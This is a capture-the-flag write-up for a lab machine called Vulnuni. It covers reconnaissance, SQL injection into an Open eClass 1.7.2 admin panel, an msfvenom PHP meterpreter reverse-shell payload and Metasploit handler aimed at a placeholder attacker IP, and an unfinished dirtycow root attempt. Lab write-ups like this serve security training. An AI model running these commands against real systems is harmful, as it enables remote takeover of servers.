Vulnuni

Scans

- `nmap` got one open port (Port 80) where an Apache webserver is running.
  nmap_scan.html
- `nikto` also got nothing of huge interest.
  nikto_scan.txt
- `dibr` got nothing
  dirb.txt

Now I am looking at the source code of the single pages. On the `courses.html` page there is a comment that tells us:

```
<!-- Disabled till new version is installed -->
<!-- <li class="nav-item"><a href="vulnuni-eclass-platform.html"
class="nav-link">EClass Platform</a></li> -->
```

Looks interesting enough and we can get on the mentioned page. There is a login button wich leads to a login page on `/vulnuni-eclass/`.

Now we will have a look at the kind of service this is.

- It is called **Open eClass**
- Seems like it is from greece but the language can be changed ;)
- Searching for any vulnerabilites for this service we are finding a SQL Injection for version 1.7.3. Good enough we are running into version 1.7.2. (vulndb)

sqlmap

With the sql vulnerability mentioned on vulndb we can get admin access to the admin panel of the eclass elearning software. (steps are mentioned on the VulnDB page)

Further on the VulnDB page another vulnerability is mentioned, that can spawn a php tcp reverse shell. The same reverse tcp shell can be spawned with MSF:

- Create the payload with msfvenom:
  `msfvenom -p php/meterpreter_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw > shell.php`
- After this you zip this file an upload it on the admin panel.
- To create a listener in metasploit you run the command:
  `use exploit/multi/handler`
  `set payload php/meterpreter_reverse_tcp`

`set LHOST <attacker_ip>`
`set LPORT 4444`
`exploit`

now you should have a listener waiting for a connection

- now you go to the link `http://<vulnuni_up>/vulnuni-eclass/courses/tmpUnzipping/shell.php`
  this should create a tcp connection to your metasploit session.
- run `shell` to get a shell on the target machine. Now you can open the first flag at `/home/vulnuni/flag.txt`
- Now we're going to get a root access with dirtycow. Download the source code of the dirtycow script. Zip it up and upload it to the target machine. Now in your meterpreter session you can compile it with `gcc -pthread dirtycow.c -o dirtycow -lcrypt`. This sould be the last part. I did not got it working till now.